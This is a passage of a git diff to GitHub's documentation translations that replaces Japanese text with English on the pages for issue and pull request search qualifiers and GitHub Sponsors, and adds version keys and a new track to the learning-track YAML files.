reviewer. -| 修飾子 | サンプル | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) は、レビューされていないプルリクエストにマッチします。 | -| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) は、マージ前にレビューが必要なプルリクエストにマッチします。 | -| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) は、レビュー担当者が承認したプルリクエストにマッチします。 | -| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) は、レビュー担当者が変更を求めたプルリクエストにマッチします。 | -| reviewed-by:USERNAME | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) は、特定の人がレビューしたプルリクエストにマッチします。 | -| review-requested:USERNAME | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) は、特定の人にレビューがリクエストされているプルリクエストにマッチします。 リクエストを受けたレビュー担当者は、プルリクエストのレビュー後は検索結果に表示されなくなります。 If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results.{% ifversion fpt or ghae or ghes > 3.2 or ghec %} +| Qualifier | Example +| ------------- | ------------- +| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) matches pull requests that have not been reviewed. +| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) matches pull requests that require a review before they can be merged. +| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) matches pull requests that a reviewer has approved. +| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) matches pull requests in which a reviewer has asked for changes. +| reviewed-by:USERNAME | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) matches pull requests reviewed by a particular person. +| review-requested:USERNAME | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) matches pull requests where a specific person is requested for review. Requested reviewers are no longer listed in the search results after they review a pull request. If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results.{% ifversion fpt or ghae or ghes > 3.2 or ghec %} | user-review-requested:@me | [**type:pr user-review-requested:@me**](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) matches pull requests that you have directly been asked to review.{% endif %} -| team-review-requested:TEAMNAME | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) は、Team `atom/design`からのレビューリクエストがあるプルリクエストにマッチします。 リクエストを受けたレビュー担当者は、プルリクエストのレビュー後は検索結果に表示されなくなります。 | +| team-review-requested:TEAMNAME | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) matches pull requests that have review requests from the team `atom/design`. Requested reviewers are no longer listed in the search results after they review a pull request. -## Issue やプルリクエストの作成時期や最終更新時期で検索 +## Search by when an issue or pull request was created or last updated -作成時期または最終更新時期で Issue をフィルタリングできます。 Issue の作成時期については、`created` の修飾子を使います。Issue の最終更新時期で表示するには、`updated` の修飾子を使います。 +You can filter issues based on times of creation, or when they were last updated. For issue creation, you can use the `created` qualifier; to find out when an issue was last updated, you'll want to use the `updated` qualifier. -どちらの修飾子も、パラメータとして日付を使います。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 修飾子 | サンプル | -| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| created:YYYY-MM-DD | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) は、C# で記述されたリポジトリの 2011 年より前に作成されたオープンな Issue にマッチします。 | -| updated:YYYY-MM-DD | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) は、2013 年 2 月以降に更新された、本文に「weird」という単語を含む Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| created:YYYY-MM-DD | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) matches open issues that were created before 2011 in repositories written in C#. +| updated:YYYY-MM-DD | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) matches issues with the word "weird" in the body that were updated after February 2013. -## Issue やプルリクエストがクローズされた時期で検索 +## Search by when an issue or pull request was closed -`closed` 修飾子を使って、Issue およびプルリクエストを、クローズされているかどうかでフィルタリングできます。 +You can filter issues and pull requests based on when they were closed, using the `closed` qualifier. -この修飾子は、パラメータとして日付を使います。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 修飾子 | サンプル | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| closed:YYYY-MM-DD | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) は、2014 年 6 月 11 日より後にクローズした Swift の Issue およびプルリクエストにマッチします。 | -| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) は、2012 年 10 月より前にクローズされた、body に「data」という単語がある Issue およびプルリクエストにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| closed:YYYY-MM-DD | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) matches issues and pull requests in Swift that were closed after June 11, 2014. +| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) matches issues and pull requests with the word "data" in the body that were closed before October 2012. -## プルリクエストがマージされた時期で検索 +## Search by when a pull request was merged -`merged` 修飾子を使って、マージされているかどうかでプルリクエストをフィルタリングできます。 +You can filter pull requests based on when they were merged, using the `merged` qualifier. -この修飾子は、パラメータとして日付を使います。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 修飾子 | サンプル | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| merged:YYYY-MM-DD | [**language:javascript merged:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) は、2011 年より前にマージされた JavaScript のリポジトリにあるプルリクエストにマッチします。 | -| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues)は、2014 年 5 月以降にマージされた、タイトルに「fast」という単語がある Ruby のプルリクエストにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| merged:YYYY-MM-DD | [**language:javascript merged:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) matches pull requests in JavaScript repositories that were merged before 2011. +| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) matches pull requests in Ruby with the word "fast" in the title that were merged after May 2014. -## プルリクエストがマージされているかどうかで検索 +## Search based on whether a pull request is merged or unmerged -`is` 修飾子を使って、マージされたかどうかでプルリクエストをフィルタリングできます。 +You can filter pull requests based on whether they're merged or unmerged using the `is` qualifier. -| 修飾子 | サンプル | -| ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | -| `is:merged` | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) は、「bugfix」という単語がある、マージされたプルリクエストにマッチします。 | -| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) は、「error」という単語がある、クローズされた Issue およびプルリクエストにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `is:merged` | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) matches merged pull requests with the word "bugfix." +| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) matches closed issues and pull requests with the word "error." -## リポジトリがアーカイブされているかどうかで検索 +## Search based on whether a repository is archived -`archived` 修飾子は、Issue またはプルリクエストがアーカイブされたリポジトリにあるかどうかでフィルタリングできます。 +The `archived` qualifier filters your results based on whether an issue or pull request is in an archived repository. -| 修飾子 | サンプル | -| ---------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) は、アクセスできるアーカイブされたリポジトリの、「GNOME」という単語を含む Issue およびプルリクエストにマッチします。 | -| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) は、アクセスできるアーカイブされていないリポジトリの、「GNOME」という単語を含む Issue およびプルリクエストにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in archived repositories you have access to. +| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in unarchived repositories you have access to. -## 会話がロックされているかどうかで検索 +## Search based on whether a conversation is locked -`is` 修飾子を使用して、ロックされている会話がある Issue またはプルリクエストを検索することができます。 詳細は「[会話をロックする](/communities/moderating-comments-and-conversations/locking-conversations)」を参照してください。 +You can search for an issue or pull request that has a locked conversation using the `is` qualifier. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)." -| 修飾子 | サンプル | -| ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) は、アーカイブされていないリポジトリにロックされている会話がある、「code of conduct」という言葉を含む Issue またはプルリクエストにマッチします。 | -| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) は、アーカイブされていないリポジトリにアンロックされている会話がある、「code of conduct」という言葉を含む Issue またはプルリクエストにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have a locked conversation in a repository that is not archived. +| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have an unlocked conversation in a repository that is not archived. -## 欠損しているメタデータで検索 +## Search by missing metadata -`no` 修飾子を使って、一定のメタデータがない Issue およびプルリクエストに検索を絞り込むことができます。 こうしたメタデータには、以下のようなものがあります: +You can narrow your search to issues and pull requests that are missing certain metadata, using the `no` qualifier. That metadata includes: -* ラベル -* マイルストーン -* アサインされた人 -* プロジェクト +* Labels +* Milestones +* Assignees +* Projects -| 修飾子 | サンプル | -| -------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) は、ラベルのない、「priority」という単語がある Issue およびプルリクエストにマッチします。 | -| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) は、「sprint」という単語を含む、マイルストーンと関連のない Issue にマッチします。 | -| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) は、Java のリポジトリにある、「important」という単語を含む、アサインされた人とは関連付けられていない Issue にマッチします。 | -| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) は、「build」という単語を含む、プロジェクトボードとは関連付けられていない Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) matches issues and pull requests with the word "priority" that also don't have any labels. +| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) matches issues not associated with a milestone containing the word "sprint." +| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) matches issues not associated with an assignee, containing the word "important," and in Java repositories. +| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) matches issues not associated with a project board, containing the word "build." -## 参考リンク +## Further reading -- 「[検索結果をソートする](/search-github/getting-started-with-searching-on-github/sorting-search-results/)」 +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" diff --git a/translations/ja-JP/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md b/translations/ja-JP/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md index 05de6825c9..cd0c2c94d4 100644 --- a/translations/ja-JP/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md +++ b/translations/ja-JP/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md @@ -1,6 +1,6 @@ --- -title: GitHub スポンサーについて -intro: '{% data variables.product.prodname_sponsors %} により、開発者コミュニティが依存しているオープンソースプロジェクトの設計、構築、維持に携わる人々や Organization を、{% data variables.product.product_name %} で直接、経済的に支援できます。' +title: About GitHub Sponsors +intro: '{% data variables.product.prodname_sponsors %} allows the developer community to financially support the people and organizations who design, build, and maintain the open source projects they depend on, directly on {% data variables.product.product_name %}.' redirect_from: - /articles/about-github-sponsors - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors @@ -13,41 +13,41 @@ topics: - Fundamentals --- -## {% data variables.product.prodname_sponsors %} について +## About {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.sponsorship-details %} -{% data reusables.sponsors.no-fees %}詳細は「[{% data variables.product.prodname_sponsors %} の支払いについて](/articles/about-billing-for-github-sponsors)」を参照してください。 +{% data reusables.sponsors.no-fees %} For more information, see "[About billing for {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors)." -{% data reusables.sponsors.you-can-be-a-sponsored-developer %}詳しい情報については、「[オープンソースコントリビューターに対する {% data variables.product.prodname_sponsors %} について](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)」および「<[ユーザアカウントに {% data variables.product.prodname_sponsors %} を設定する](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)」を参照してください。 +{% data reusables.sponsors.you-can-be-a-sponsored-developer %} For more information, see "[About {% data variables.product.prodname_sponsors %} for open source contributors](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)" and "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)." -{% data reusables.sponsors.you-can-be-a-sponsored-organization %}詳しい情報については、「[Organization に {% data variables.product.prodname_sponsors %} を設定する](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)」を参照してください。 +{% data reusables.sponsors.you-can-be-a-sponsored-organization %} For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." -スポンサード開発者またはスポンサード Organization になると、{% data variables.product.prodname_sponsors %}に対する追加条項が適用されます。 For more information, see "[GitHub Sponsors Additional Terms](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms)." +When you become a sponsored developer or sponsored organization, additional terms for {% data variables.product.prodname_sponsors %} apply. For more information, see "[GitHub Sponsors Additional Terms](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms)." -## {% data variables.product.prodname_matching_fund %} について +## About the {% data variables.product.prodname_matching_fund %} {% note %} -**ノート:** {% data reusables.sponsors.matching-fund-eligible %} +**Note:** {% data reusables.sponsors.matching-fund-eligible %} {% endnote %} -The {% data variables.product.prodname_matching_fund %} aims to benefit members of the {% data variables.product.prodname_dotcom %} community who develop open source software that promotes the [{% data variables.product.prodname_dotcom %} Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines). スポンサード Organization に対する支払いと Organization からの支払は {% data variables.product.prodname_matching_fund %} を利用できません。 +The {% data variables.product.prodname_matching_fund %} aims to benefit members of the {% data variables.product.prodname_dotcom %} community who develop open source software that promotes the [{% data variables.product.prodname_dotcom %} Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines). Payments to sponsored organizations and payments from organizations are not eligible for {% data variables.product.prodname_matching_fund %}. -{% data variables.product.prodname_matching_fund %} の資格を得るには、長期にわたって支えてくれるコミュニティを引き付けるようなプロフィールを作成する必要があります。 強力なプロフィールの作成については、「[{% data variables.product.prodname_sponsors %} のプロフィール詳細を編集する](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)」を参照してください。 +To be eligible for the {% data variables.product.prodname_matching_fund %}, you must create a profile that will attract a community that will sustain you for the long term. For more information about creating a strong profile, see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)." -スポンサード開発者間の寄付は照合されません。 +Donations between sponsored developers will not be matched. {% data reusables.sponsors.legal-additional-terms %} -## {% data variables.product.prodname_sponsors %} についてのフィードバックを共有する +## Sharing feedback about {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.feedback %} -## 参考リンク -- 「[オープンソースコントリビューターをスポンサーする](/sponsors/sponsoring-open-source-contributors)」 -- 「[{% data variables.product.prodname_sponsors %} を通じてスポンサーシップを獲得する](/sponsors/receiving-sponsorships-through-github-sponsors)」 +## Further reading +- "[Sponsoring open source contributors](/sponsors/sponsoring-open-source-contributors)" +- "[Receiving sponsorships through {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)" - "[Searching users and organizations based on ability to sponsor](/github/searching-for-information-on-github/searching-on-github/searching-users#search-based-on-ability-to-sponsor)" - "[Searching repositories based on ability to sponsor](/github/searching-for-information-on-github/searching-on-github/searching-for-repositories#search-based-on-ability-to-sponsor)" -- {% data variables.product.prodname_blog %} の「[{% data variables.product.prodname_sponsors %} Team に関するよくある質問](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)」 +- "[FAQ with the {% data variables.product.prodname_sponsors %} team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)" on {% data variables.product.prodname_blog %} diff --git a/translations/ja-JP/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md b/translations/ja-JP/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md index 2436711688..1340fb5162 100644 --- a/translations/ja-JP/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md +++ b/translations/ja-JP/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md @@ -1,6 +1,6 @@ --- -title: オープンソースコントリビューターに対する GitHub スポンサーについて -intro: オープンソースプロジェクトに貢献すれば、スポンサードコントリビューターとなって、作業に対する報酬を得られます。 +title: About GitHub Sponsors for open source contributors +intro: 'If you provide value to an open source project, you can become a sponsored contributor to receive payments for your work.' redirect_from: - /articles/about-github-sponsors-for-sponsored-developers - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors-for-sponsored-developers @@ -14,35 +14,35 @@ topics: shortTitle: Open source contributors --- -## {% data variables.product.prodname_sponsors %} に参加する +## Joining {% data variables.product.prodname_sponsors %} -{% data reusables.sponsors.you-can-be-a-sponsored-developer %}詳細は「[ユーザアカウントに {% data variables.product.prodname_sponsors %} を設定する](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)」を参照してください。 +{% data reusables.sponsors.you-can-be-a-sponsored-developer %} For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)." -{% data reusables.sponsors.you-can-be-a-sponsored-organization %}詳しい情報については、「[Organization に {% data variables.product.prodname_sponsors %} を設定する](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)」を参照してください。 +{% data reusables.sponsors.you-can-be-a-sponsored-organization %} For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." -{% data variables.product.prodname_sponsors %} に参加すると、あなたの {% data variables.product.prodname_sponsors %} プロフィールやその他の資金獲得プラットフォームの認知度を高めるため、コントリビュートしているオープンソースリポジトリにスポンサーボタンを追加できます。 詳しい情報については「[リポジトリにスポンサーボタンを表示する](/articles/displaying-a-sponsor-button-in-your-repository)」を参照してください。 +After you join {% data variables.product.prodname_sponsors %}, you can add a sponsor button to the open source repository you contribute to, to increase the visibility of your {% data variables.product.prodname_sponsors %} profile and other funding platforms. For more information, see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)." -スポンサーシップの目標を設定できます。 詳細は「[スポンサーシップ目標を管理する](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal)」を参照してください。 +You can set a goal for your sponsorships. For more information, see "[Managing your sponsorship goal](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal)." {% data reusables.sponsors.github-contact-applicants %} -## スポンサーシップ層 +## Sponsorship tiers -{% data reusables.sponsors.tier-details %}詳しい情報については、「[ユーザアカウントの {% data variables.product.prodname_sponsors %} を設定する](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)」、「[Organization の {% data variables.product.prodname_sponsors %} を設定する](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)」、および「[スポンサーシップ層を管理する](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)」を参照してください。 +{% data reusables.sponsors.tier-details %} For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)," "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization), and "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)." -あなたの作業を誰でも簡単にサポートできるように、月次および 1 回の層を含む、さまざまなスポンサーシップオプションを設定することをお勧めします。 特に、1 回の支払いにより、ユーザは定期的な支払いスケジュールが経済的に問題ないかどうかを心配することなく、あなたの努力に報いることができます。 +It's best to set up a range of different sponsorship options, including monthly and one-time tiers, to make it easy for anyone to support your work. In particular, one-time payments allow people to reward your efforts without worrying about whether their finances will support a regular payment schedule. -## スポンサーシップの支払い +## Sponsorship payouts {% data reusables.sponsors.no-fees %} {% data reusables.sponsors.payout-info %} -詳しい情報については、「[{% data variables.product.prodname_sponsors %} からの支払いを管理する](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors)」を参照してください。 +For more information, see "[Managing your payouts from {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors)." -## {% data variables.product.prodname_sponsors %} についてのフィードバックを共有する +## Sharing feedback about {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.feedback %} -## 参考リンク -- {% data variables.product.prodname_blog %} の「[{% data variables.product.prodname_sponsors %} Team に関するよくある質問](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)」 +## Further reading +- "[FAQ with the {% data variables.product.prodname_sponsors %} team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)" on {% data variables.product.prodname_blog %} diff --git a/translations/ja-JP/data/learning-tracks/actions.yml b/translations/ja-JP/data/learning-tracks/actions.yml index 926fd54900..0d07b17cb3 100644 --- a/translations/ja-JP/data/learning-tracks/actions.yml +++ b/translations/ja-JP/data/learning-tracks/actions.yml @@ -37,6 +37,17 @@ deploy_to_the_cloud: - /actions/deployment/deploying-to-amazon-elastic-container-service - /actions/deployment/deploying-to-azure-app-service - /actions/deployment/deploying-to-google-kubernetes-engine +adopting_github_actions_for_your_enterprise: + title: 'Adopt GitHub Actions for your enterprise' + description: 'Learn how to plan and implement a roll out of {% data variables.product.prodname_actions %} in your enterprise.' + guides: + - /actions/learn-github-actions/understanding-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae + - /actions/security-guides/security-hardening-for-github-actions hosting_your_own_runners: title: '自分のランナーをホストする' description: 'セルフホストランナーを作成し、非常にカスタマイズ性の高い環境でワークフローを実行できます。' diff --git a/translations/ja-JP/data/learning-tracks/admin.yml b/translations/ja-JP/data/learning-tracks/admin.yml index e5926602be..a442016546 100644 --- a/translations/ja-JP/data/learning-tracks/admin.yml +++ b/translations/ja-JP/data/learning-tracks/admin.yml @@ -2,6 +2,9 @@ get_started_with_github_ae: title: '{% data variables.product.prodname_ghe_managed %}を使ってみる' description: '{% data variables.product.prodname_ghe_managed %}について学び、新しいEnterpriseの初期設定を完了してください。' + featured_track: true + versions: + ghae: '*' guides: - /admin/overview/about-github-ae - /admin/overview/about-data-residency @@ -12,6 +15,8 @@ deploy_an_instance: title: 'インスタンスのデプロイ' description: '選択したプラットフォームに{% data variables.product.prodname_ghe_server %}をインストールし、SAML認証を設定してください。' featured_track: true + versions: + ghes: '*' guides: - /admin/overview/system-overview - /admin/installation @@ -22,6 +27,8 @@ deploy_an_instance: upgrade_your_instance: title: 'インスタンスのアップデート' description: 'ステージングでアップグレードをテストし、ユーザにメンテナンスを通知し、最新機能とセキュリティアップデートのためにインスタンスをアップグレードしてください。' + versions: + ghes: '*' guides: - /admin/enterprise-management/enabling-automatic-update-checks - /admin/installation/setting-up-a-staging-instance @@ -29,9 +36,22 @@ upgrade_your_instance: - /admin/user-management/customizing-user-messages-for-your-enterprise - /admin/configuration/enabling-and-scheduling-maintenance-mode - /admin/enterprise-management/upgrading-github-enterprise-server +adopting_github_actions_for_your_enterprise: + title: 'Adopt GitHub Actions for your enterprise' + description: 'Learn how to plan and implement a roll out of {% data variables.product.prodname_actions %} in your enterprise.' + guides: + - /actions/learn-github-actions/understanding-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae + - /actions/security-guides/security-hardening-for-github-actions increase_fault_tolerance: title: 'インスタンスの耐障害性を高めてください' description: "開発者のコードをバックアップ、High Availability（HA）を設定して環境内の{% data variables.product.prodname_ghe_server %}の信頼性を保証してください。" + versions: + ghes: '*' guides: - /admin/configuration/accessing-the-administrative-shell-ssh - /admin/configuration/configuring-backups-on-your-appliance @@ -41,6 +61,8 @@ increase_fault_tolerance: improve_security_of_your_instance: title: 'インスタンスのセキュリティを向上させてください' description: "ネットワーク設定とセキュリティの機能をレビューし、Enterpriseのデータを保護するために{% data variables.product.prodname_ghe_server %}を実行するインスタンスを保護してください。" + versions: + ghes: '*' guides: - /admin/configuration/enabling-private-mode - /admin/guides/installation/configuring-tls @@ -54,6 +76,8 @@ improve_security_of_your_instance: configure_github_actions: title: '{% data variables.product.prodname_actions %}の設定' description: '開発者が{% data variables.product.prodname_actions %}と合わせた{% data variables.product.product_location 